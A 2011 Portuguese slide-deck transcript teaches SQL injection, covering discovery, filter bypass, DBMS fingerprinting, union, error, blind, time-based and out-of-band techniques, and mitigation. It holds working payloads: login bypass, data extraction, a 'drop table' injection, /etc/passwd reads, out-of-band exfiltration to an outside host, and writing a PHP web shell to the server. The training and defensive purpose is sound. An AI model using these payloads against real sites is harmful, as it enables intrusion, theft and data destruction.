Web App Flaws - SQL Injection
-
Upload
david-gomes-guimaraes -
Category
Technology
-
view
1.821 -
download
3
description
Transcript of Web App Flaws - SQL Injection
Web App Flaws
Minicurso sobre falhas em aplicações web
2011
David G. Guimarães
Roteiro
• SQL Injection
o Introduçãoo Descobrindo falhaso Análise
Filtros Identificação do SGBD/DBMS Localização Técnicas
o File Accesso Mitigaçãoo Hands On
• Referências• Remote/Local File Inclusion• XSS
SQL InjectionIntrodução
O que é?• Inserção de códigos SQL através da manipulação de dados de entrada
passados ao aplicativo web.
Como se dá?• O desenvolvedor é o responsável direto por tornar o código inseguro.
Causas• Desenvolvedor desconhece fatos inerentes a segurança de código, assim
como a possibilidade de exploração do mesmo.• Desenvolvedor conhece fatos inerentes a segurança de código, mas é
displicente em tomar medidas preventivas para correção do mesmo.• Falta de processos definidos relativos a desenvolvimento seguro e
auditoria.
SQL InjectionIntrodução
Exemplo de código vulnerável (formulário de login)• $query = "select id from usuarios where user='$_GET['user']' and
password='$_GET['password']'";• $usuario = mysql_query($query);
• http://vulnsite.com/admin/login.php?• user=admin• &password=' OR '1'='1
Query manipulada:• select id from usuarios where user='admin' and password='' or '1'='1'• Condição 1=1 sempre verdadeira. Login realizado com sucesso.
SQL InjectionIntrodução
Características• Não necessita interação do usuário, ao contrário de XSS.• Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.
o Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)• Fácil de ser encontrada e explorada.• Possibilidade de acesso ao sistema de arquivos.• Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.• Dificuldade em se obter mecanismos de proteção genéricos.• Milhões de ferramentas livres/open source para scan, análise e exploração.• Presente na grande maioria dos sites.
SQL InjectionIntrodução
Cookbook• Descobrindo falhas
o Manual (Proxy, Firefox Addons)o Automatizado (ferramentas de fuzzing)o Testes básicos
• Análiseo Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess)o Localização da falha na query (where/having, group/order by, etc)o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)o Privilégios permitidos (USAGE, FILE, administrator)
• Extração/Enumeração dos dadoso Databaseso Tabelaso Colunaso Linhas
SQL InjectionIntrodução
Cookbook• Post-exploitation
o Atingindo outros objetivoso Encontrando outras falhaso Quebrando senhas/hashs usando rainbowtableso Acesso ao sistema de arquivos
Virando root
SQL InjectionDescobrindo falhas
Forma automatizada• Ferramentas
o Nessus, w3af, Nikto, Pangolin, Havij, etc.
Forma manual• Mapear páginas dinâmicas• Passivo
o Proxy (webscarab, burp, etc.)o Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)
Testes básicos• Númerico: id=30
o Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/;• String: busca=hd
o busca=hd'; hd'--; hd' AND '1'='1
SQL InjectionAnálise - Filtros
Analisando e burlando filtros• Filtros genéricos de remoção/bloqueio baseado em tokens
o Exemplo: replace("union| |select|--|/*|...", "");
o Bypass
Encoding usando tabela ASCII e hexadecimal URLs só podem ser enviadas através da Internet utilizando o conjunto
de caracteres ASCII. URLs contêm geralmente caracteres fora do conjunto ASCII, que tem
de ser convertidos em um formato ASCII válido. Encoding de URL substitui caracteres ASCII inseguro com um "%"
seguido de dois dígitos hexadecimais. Exemplo: union vira %75%6e%69%6f%6e
SQL InjectionAnálise - Filtros
Analisando e burlando filtros• Filtros genéricos de remoção/bloqueio baseado em tokens
o Exemplo: replace("union| |select|--|/*|...", "");
o Bypass
Usar outros caracteres para separação entre tokens: '\n'(0x0A), '\t'(0x0B), etc
Exemplo: Objetivo: id=1 union select 1,2,3-- Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-
maiúsculas/minúsculas select vira sElEcT
SQL InjectionAnálise - Filtros
Analisando e burlando filtros• Filtros de tratamento de caracteres SQL especiais
mysql_real_escape_string/addslashes/etc. trata caracteres ', ", /, \, \x00, adicionando '\' antes dos mesmos,
sanitizando-os Bypass: usar a função char() Exemplo: union select column_name from information_schema.columns
where table_name = 'tabela' union select column_name from information_schema.columns
where table_name = CHAR(116, 97, 98, 101, 108, 97) • Filtro de tamanho no parâmetro
o Utiliza função que corta/bloqueia em X bytes o parâmetro
SQL InjectionAnálise - Identificação do SGBD
Identificação do SGBD/DBMS• Necessário para extração dos dados/construção da consulta• Sintaxe SQL única para cada SGBD
Cheat sheets de funções únicas de cada SGBD• MySQL
o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1)
• Oracleo ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)
• MS SQL Servero BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123),
HOST_NAME()=HOST_NAME()• Postgree SQL
o 1::int=1, VERSION()=VERSION()
SQL InjectionAnálise - Localização
Query inteira• http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios
Colunas/Tabelas• http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia• $query = "select $_GET['colunas'] from $_GET['tabela'] where nome =
'$_GET['nome']'";
Where/Having• http://vulnsite.com/script.php?noticiaid=2• $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";
Order/Group By• http://vulnsite.com/lista.php?ordenar_por=preco• $query = "select id,nome,preco from produtos order by
$_GET['ordernar_por']";
SQL InjectionAnálise - Localização
Limit• http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10• $query = "select id,nome,preco from produtos order by preco limit
$_GET['pagina'], $_GET['linhas_por_pagina']";
SQL InjectionAnálise - Técnicas
Union/In-band based• Resultado parcial ou total da query na página de resposta.
o Resultado depende da lógica do scripto O resultado pode aparecer no cabeçalho
Cookies, Location, etc. Exemplo em ADS:
http://site.com/ads.php?url=1 $query = "select uri from urls where id = $_GET['url']"; $result = mysql_query($query); header("Location: ".mysql_result($result, 1));
SQL InjectionAnálise - Técnicas
Union/In-band based• É necessário a identificação da quantidade de colunas da consulta anterior.
o A união das consultas deve possuir o mesmo número de colunas.o Exemplo:
select id, nome from users where id=3 union select 1, @@versiono Uso do order by para descobrir o número de colunas:
http://vulnsite.com/lista.php?id=3 order by 20o Força bruta com NULL para adivinhar o número de colunas
id=3 union select null, null, null
SQL InjectionAnálise - Técnicas
Union/In-band based• Exemplo:
o $query = "select nome, telefone from usuarios where id = $_GET['id']"o http://vulnsite.com/users.php?id=3 union all select table_name,
table_schema from information_schema.tables#
SQL InjectionAnálise - Técnicas
Error based• Baseado na manipulação de mensagens de erro geradas pelo SGBD• Resultado limitado a um número X de caracteres.• Barulhento (gera mensagens de erro que podem ser armazenadas na
máquina)• Exemplo:
o d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=Submit
o ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'
SQL InjectionAnálise - Técnicas
Out-of-band based• Uso de requisições DNS e HTTP para recuperar dados• Resultado limitado a uma quantidade X de caracteres • Exemplo:
o utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1))
o 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
o utl_http.request('http://'||(select user from dual)||'.dyndns.com')o Verificar logs do bind/named ou;o Wireshark/tcpdump na porta 53 do servidor DNS.
SQL InjectionAnálise - Técnicas
Blind based• Realiza inúmeras comparações para obtenção da informação• Muito lento
o Aperfeiçoado usando-se paralelismo (threads)o Aperfeiçoado usando-se busca binária.o Exemplo:
id=1 and substring(@@version, 1, 1)=5 id=1 and substring(@@version, 2, 1)='.' etc
SQL InjectionAnálise - Técnicas
Full-blind time based• Baseada em tempo de resposta
o waitfor delay '0:0:5', sleep(5), etc.• Mais lenta de todas• Pode-se utilizar paralelismo• Pode-se utilizar "heavy queries":
o BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))• Pode gerar resultados inválidos/inconsistentes• Exemplo:
o http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = 'dominio\usuario') waitfor delay '0:0:5'--
o Dorme 5 segundos caso o loginame seja o especificado.
SQL InjectionAnálise - Técnicas
Stacked based• Permite alteração dos dados no BD. UPDATE, DROP, etc.• Possível somente em algumas tecnologias.• Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada
em erro.• Exemplo:
o busca=nome'; drop table noticias--o busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5'
else select 1;--
SQL InjectionAnálise - File Access
• Depende do nível de permissão do usuário.• Permite leitura, escrita e execução de arquivos com a permissão do usuário
rodando o DBMS.• Exemplo:
o Leitura: id=1 union select load_file('/etc/passwd');
o Escrita: id=1 union select "<?php system($_GET['cmd']); ?>" into outfile
'/var/www/c.php';-- id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into
outfile '/var/www/c.php';--o Execução:
xp_cmdshell() UDF Injection
SQL InjectionEvitando SQLi
Sanitizar/tratar todos os parâmetros recebidos dos usuários.• Inteiro
o Converter entrada para inteiro (intval(), is_numeric());o Tratar possibilidade de números negativos;
• Stringo Tratar entrada com regexo Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))
html, sql, etc.Tratar TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.
SQL InjectionHands On - Ao que interessa
• Demonstração de todos os passos para exploração de Web App Flaws.• DVWA - ferramenta de demonstração/aplicação de vulnerabilidades• SQLMAP - ferramenta para extração de dados
SQL InjectionReferências
• Google codelab: http://google-gruyere.appspot.com/• Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.• Tabela ASCII: http://www.asciitable.com/• SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-
injection-cheat-sheet/